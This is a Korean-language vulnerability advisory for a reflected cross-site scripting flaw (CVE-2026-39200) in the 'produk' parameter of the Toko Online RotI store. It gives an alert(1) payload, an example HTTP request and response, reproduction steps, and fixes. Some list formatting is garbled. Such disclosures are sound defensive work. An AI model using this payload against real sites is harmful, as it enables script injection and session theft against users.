
produk 요청 매개변수의 값은 큰따옴표로 캡슐화된 HTML 태그 속성의 값으로 복사됩니다. 페이로드 xbnw0"><script>alert(1)</script>skc2h가 produk 매개변수에 제출되었습니다. 이 입력은 애플리케이션의 응답에서 xbnw0\"><script>alert(1)</script>skc2h로 에코되었습니다.
Toko Online RotI 웹 애플리케이션의 produk 요청 파라미터에서 반사형 크로스 사이트 스크립팅(XSS) 취약점이 발견되었습니다. 이 애플리케이션은 사용자가 제공한 입력값을 큰따옴표로 묶인 HTML 태그 속성 내부에 반사하기 전에 HTML 인코딩하지 않습니다. 공격자는 악의적인 URL을 제작하여 피해자가 해당 URL을 방문할 경우 피해자의 브라우저 세션 컨텍스트에서 임의의 JavaScript를 실행시킬 수 있습니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-39200 |
| 취약점 유형 | CWE-79 — 웹 페이지 생성 중 입력의 부적절한 중화(반사형 XSS) |
| 영향받는 제품 | Toko Online RotI(인도네시아 온라인 스토어) |
| 영향받는 파라미터 | produk |
| 발견자 | Uzair Ali (r00tali) — 침투 테스터 / 버그 바운티 헌터 |
| 발견 날짜 | 2026-07-03 |
| CVE 배정 | 2026-07-12 |
| 권고 게시 | 2026-07-19 |
produk 요청 파라미터는 큰따옴표로 묶인 HTML 태그 속성의 값에 그대로 복사됩니다. 애플리케이션이 사용자 입력을 반사하기 전에 HTML 인코딩하지 않기 때문에, 공격자는 닫는 큰따옴표 뒤에 HTML/JavaScript 페이로드가 포함된 값을 제출하여 속성에서 벗어날 수 있습니다.
xbnw0"><script>alert(1)</script>skc2h
이 페이로드가 produk 파라미터로 제출되면, 애플리케이션은 입력값을 이스케이프하지 않은 채 응답에 그대로 반사합니다. 닫는 ">가 원래 속성을 종료하며, 주입된 <script>alert(1)</script> 블록은 브라우저에서 새로운 HTML 요소로 해석되어 사용자 세션에서 임의의 JavaScript를 실행합니다.
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk 파라미터를 HTML 속성 내부에 반사하는 엔드포인트를 식별합니다(예: 제품 검색, 상세 또는 필터 페이지).produk 파라미터 값을 다음 페이로드로 교체합니다:
xbnw0"><script>alert(1)</script>skc2h
"에서 벗어나 DOM에 유효한 <script> 요소를 생성합니다.alert(1) 대화상자가 표시되어 피해자 세션에서의 임의 JavaScript 실행을 확인할 수 있습니다.이 반사형 XSS를 성공적으로 악용하면 공격자는 다음을 수행할 수 있습니다:
이 취약점은 반사형이므로 피해자가 조작된 링크를 클릭하기만 하면 악용이 가능하며, 피싱 캠페인에서 쉽게 무기화될 수 있습니다.
CVSS v3.1(추정치): 6.1(보통) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
이 취약점을 해결하기 위해 공급업체는 다음을 수행해야 합니다:
<, >, ", ', &를 인코딩합니다(예: <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) 또는 <%: %> 구문{{ input }}(기본적으로 자동 이스케이프)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly 및 Secure 플래그를 설정합니다.produk 파라미터를 검증하고 일치하지 않는 값은 거부합니다.X-Content-Type-Options: nosniff를 추가합니다.| 날짜 | 이벤트 |
|---|---|
| 2026-07-03 | 권한이 부여된 보안 테스트 중 취약점 발견 |
| 2026-07-03 | cveform.mitre.org를 통해 MITRE에 CVE ID 요청 |
| 2026-07-12 | MITRE Assignment Team이 CVE-2026-39200 배정 |
| 2026-07-19 | 보안 권고 공개 |
** Uzair Ali (r00tali)** — 침투 테스터 / 버그 바운티 헌터 / 보안 연구원
본 보안 권고는 교육 및 방어 목적으로만 게시됩니다. 이 취약점은 MITRE CVE Assignment Team을 통한 책임 있는 공개(Responsible Disclosure) 절차로 신고되었습니다. 공급업체의 기밀 정보, 고객 데이터 또는 독점 코드는 공개되지 않습니다. 개념 증명은 무해한 alert(1) 페이로드를 사용하며, 실서비스에 대한 공격을 용이하게 하기 위한 것이 아니라 버그의 존재를 입증하기 위한 것입니다.